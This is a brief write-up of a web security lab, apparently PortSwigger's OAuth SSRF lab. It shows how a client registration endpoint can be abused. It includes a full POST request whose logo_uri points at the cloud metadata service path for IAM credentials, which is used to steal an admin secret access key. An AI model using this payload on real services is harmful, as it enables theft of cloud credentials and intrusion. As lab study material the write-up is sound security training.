BACKGROUND

This lab allows client applications to dynamically register themselves with the OAuth service via a dedicated registration endpoint. Some client-specific data is used in an unsafe way by the OAuth service, which exposes a potential vector for SSRF. To solve the lab, craft an SSRF attack to access http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/ and steal the secret access key for the OAuth provider's cloud environment. You can log in to your own account using the following credentials: wiener:peter

EXPLOITATION

After getting the documentation, we make a POST request to /reg to register a new client, and we tamper de logo uri field with an SSRF payload that allows reading the contents by fetching the /client/clientID/logo with a get request

POST /reg HTTP/2␍
Host: oauth-0ae800e903d8f2c2800d01b7022100f4.oauth-server.net␍
Content-Type: application/json␍
Content-Length: 157␍
␍
{␍
    "redirect_uris": [␍
        "https://test.com"␍
    ],␍
    "logo_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"␍
}␍